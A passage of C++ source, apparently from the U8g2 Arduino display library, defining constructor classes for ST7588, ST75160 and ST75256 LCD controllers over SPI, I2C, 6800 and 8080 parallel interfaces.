U8G2_ST7588_JLX12864_F_8080 : public U8G2 { public: U8G2_ST7588_JLX12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7588_JLX12864_1_SW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7588_JLX12864_1_HW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7588_JLX12864_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7588_JLX12864_2_SW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7588_JLX12864_2_HW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7588_JLX12864_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7588_JLX12864_F_SW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7588_JLX12864_F_HW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7588_JLX12864_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7588_JLX12864_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7588_i2c_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75160_JM16096_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75160_JM16096_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75160_JM16096_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75160_JM16096_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75160_JM16096_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75160_JM16096_1_6800 : public U8G2 { public: U8G2_ST75160_JM16096_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75160_JM16096_1_8080 : public U8G2 { public: U8G2_ST75160_JM16096_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75160_JM16096_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75160_JM16096_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75160_JM16096_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75160_JM16096_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75160_JM16096_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75160_JM16096_2_6800 : public U8G2 { public: U8G2_ST75160_JM16096_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75160_JM16096_2_8080 : public U8G2 { public: U8G2_ST75160_JM16096_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75160_JM16096_F_4W_SW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75160_JM16096_F_4W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75160_JM16096_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75160_JM16096_F_3W_SW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75160_JM16096_F_3W_HW_SPI : public U8G2 { public: U8G2_ST75160_JM16096_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75160_JM16096_F_6800 : public U8G2 { public: U8G2_ST75160_JM16096_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75160_JM16096_F_8080 : public U8G2 { public: U8G2_ST75160_JM16096_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75160_JM16096_1_SW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75160_JM16096_1_HW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75160_JM16096_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75160_JM16096_2_SW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75160_JM16096_2_HW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75160_JM16096_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75160_JM16096_F_SW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST75160_JM16096_F_HW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST75160_JM16096_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST75160_JM16096_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75160_i2c_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST75256_JLX256128_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256128_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256128_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256128_1_6800 : public U8G2 { public: U8G2_ST75256_JLX256128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_1_8080 : public U8G2 { public: U8G2_ST75256_JLX256128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_1_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_1_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_WO256X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_WO256X128_1_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_WO256X128_1_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_WO256X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_WO256X128_1_6800 : public U8G2 { public: U8G2_ST75256_WO256X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_WO256X128_1_8080 : public U8G2 { public: U8G2_ST75256_WO256X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_2_4W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST75256_JLX256128_2_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST75256_JLX256128_2_3W_SW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST75256_JLX256128_2_3W_HW_SPI : public U8G2 { public: U8G2_ST75256_JLX256128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST75256_JLX256128_2_6800 : public U8G2 { public: U8G2_ST75256_JLX256128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st75256_jlx256128_2(&u8g2, 